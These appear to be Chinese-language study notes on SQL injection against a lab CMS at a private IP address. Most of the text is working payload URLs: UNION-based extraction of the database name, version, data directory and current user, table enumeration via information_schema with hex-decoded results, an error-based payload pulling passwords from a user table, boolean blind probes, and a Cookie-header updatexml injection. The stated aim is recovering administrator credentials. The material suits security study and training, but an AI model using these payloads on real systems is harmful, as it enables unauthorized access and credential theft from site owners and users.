注入点的判断
回显
数据库报错
布尔类型状态
延时
#SQL注入基本手法
#联合查询
由于数据库中的内容1会回显到页面中来,所以可以使用联合查询11进行注入。
目标分析
#判断列数
?id=32 order by 15正常
?id=32 order by 16 不正常
判断显示位
或
数据库中敏感信息 利用联合查询获取网站后台管理员账密
数据库的名字 database()
http://192.168.52.138:8080/cms/show.php?id=32 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
数据库表名 version()
http://192.168.52.138:8080/cms/show.php?id=32 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15
表名
#爆破表明
?id=32 and exists(select * from hello)
#利用 information_schema数据库
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema = database()
hex:636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
解码:cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
@@datadir
http://192.168.52.138:8080/cms/show.php?id=32 and 1=2 union select 1,2,@@datadir,4,5,6,7,8,9,10,11,12,13,14,15
current_user()
http://192.168.52.138:8080/cms/show.php?id=32 and 1=2 union select 1,2,current_user(),4,5,6,7,8,9,10,11,12,13,14,15
报错注入
http://192.168.52.138:8080/cms/show.php
?id=33 and (select 1 from (select count (*),concat(0x5e,(select password from cms_user limit 0,1),0x5e,floor(rand()*2)x from information_schema .tables group by x)a)
布尔盲注
数据库名爆破
#不知道数据库名有多少位
#不知道数据库名的字符集合
数据库名的长度
?id=33 and length (database())=3正常
按位测试
?id=33 and ascii(substr(database(),1,1))=99
#99 #c
延时注入
宽字节注入(大多面试会问)
Cookie注入
Cookie: uname=Dumb ' and updatexml ( 1,concat (0x5e,(select database( )),0x5e),1 )#